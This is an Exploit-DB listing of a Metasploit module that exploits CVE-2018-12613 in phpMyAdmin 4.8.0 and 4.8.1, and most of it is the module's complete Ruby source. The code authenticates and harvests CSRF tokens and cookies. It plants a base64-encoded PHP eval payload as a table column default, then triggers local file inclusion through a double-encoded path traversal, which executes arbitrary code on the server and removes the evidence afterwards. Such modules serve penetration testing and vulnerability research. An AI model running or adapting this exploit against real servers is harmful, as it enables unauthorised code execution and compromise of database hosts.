phpMyAdmin - Authenticated Remote Code Execution (Metasploit)

EDB-ID: 45020
Author: Metasploit
Published: 2018-07-13
CVE: CVE-2018-12613
Type: Remote
Platform: PHP
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework (MSF), Remote
Vulnerable App: Download Vulnerable Application

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'phpMyAdmin Authenticated Remote Code Execution',
'Description' => %q{
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,
which can be exploited post-authentication to execute PHP code by
application. The module has been tested with phpMyAdmin v4.8.1.
},
'Author' =>
[
'ChaMd5', # Vulnerability discovery and PoC
'Henry Huang', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '104532' ],
[ 'CVE', '2018-12613' ],
[ 'CWE', '661' ],
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ],
[ 'URL', 'https://www.secpulse.com/archives/72817.html' ],
[ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ]
],
'Privileged' => false,
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Windows', {} ],
[ 'Linux', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 19 2018'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
])
end

def check
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
rescue
vprint_error("#{peer} - Unable to connect to server")
return Exploit::CheckCode::Unknown
end

if res.nil? || res.code != 200
vprint_error("#{peer} - Unable to query /js/messages.php")
return Exploit::CheckCode::Unknown
end

# v4.8.0 || 4.8.1 phpMyAdmin
if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/
version = Gem::Version.new($1)
vprint_status("#{peer} - phpMyAdmin version: #{version}")

if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1')
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Unknown
end

def query(uri, qstring, cookies, token)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'import.php'),
'cookie' => cookies,
'vars_post' => Hash[{
'sql_query' => qstring,
'db' => '',
'table' => '',
'token' => token
}.to_a.shuffle]
})
end

def lfi(uri, data_path, cookies, token)
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'encode_params' => false,
'vars_get' => {
'target' => "db_sql.php%253f#{'/..'*16}#{data_path}"
}
})
end

def exploit
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end

uri = target_uri.path
vprint_status("#{peer} - Grabbing CSRF token...")

response = send_request_cgi({'uri' => uri})

if response.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
elsif response.body !~ /token"\s*value="(.*?)"/
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
end
token = Rex::Text.html_decode($1)

if target.name =~ /Automatic/
/\((?<srv>Win.*)?\)/ =~ response.headers['Server']
mytarget = srv.nil? ? 'Linux' : 'Windows'
else
mytarget = target.name
end

vprint_status("#{peer} - Identified #{mytarget} target")

#Pull out the last two cookies
cookies = response.get_cookies
cookies = cookies.split[-2..-1].join(' ')

vprint_status("#{peer} - Retrieved token #{token}")
vprint_status("#{peer} - Retrieved cookies #{cookies}")
vprint_status("#{peer} - Authenticating...")

login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_post' => {
'token' => token,
'pma_username' => datastore['USERNAME'],
'pma_password' => datastore['PASSWORD']
}
})

if login.nil? || login.code != 302
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
end

#Ignore the first cookie
cookies = login.get_cookies
cookies = cookies.split[1..-1].join(' ')
vprint_status("#{peer} - Retrieved cookies #{cookies}")

login_check = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => { 'token' => token },
'cookie' => cookies
})

if login_check.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
elsif login_check.body.include? 'Welcome to'
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
elsif login_check.body !~ /token"\s*value="(.*?)"/
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
end
token = Rex::Text.html_decode($1)

vprint_status("#{peer} - Authentication successful")

#Generating strings/payload
database = rand_text_alpha_lower(5)
table = rand_text_alpha_lower(5)
column = rand_text_alpha_lower(5)
col_val = "'<?php eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\")); ?>'"


#Preparing sql queries
dbsql = "CREATE DATABASE #{database};"
tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});"
dropsql = "DROP DATABASE #{database};"
dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";'

#Create database
res = query(uri, dbsql, cookies, token)
if res.nil? || res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database")
end

#Create table and column
res = query(uri, tablesql, cookies, token)
if res.nil? || res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table")
end

#Find datadir
res = query(uri, dirsql, cookies, token)
if res.nil? || res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
end

unless res.body =~ /^<td data.*?>(.*)?</
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
end

#Creating include path
if mytarget == 'Windows'
#Table file location
data_path = $1.gsub(/\\/, '/')
data_path = data_path.sub(/^.*?\//, '/')
data_path << "#{database}/#{table}.frm"
else
#Session path location
/phpMyAdmin=(?<session_name>.*?);/ =~ cookies
data_path = "/var/lib/php/sessions/sess_#{session_name}"
end

res = lfi(uri, data_path, cookies, token)

#Drop database
res = query(uri, dropsql, cookies, token)
if res.nil? || res.code != 200
print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.")
end
end
end

Related Posts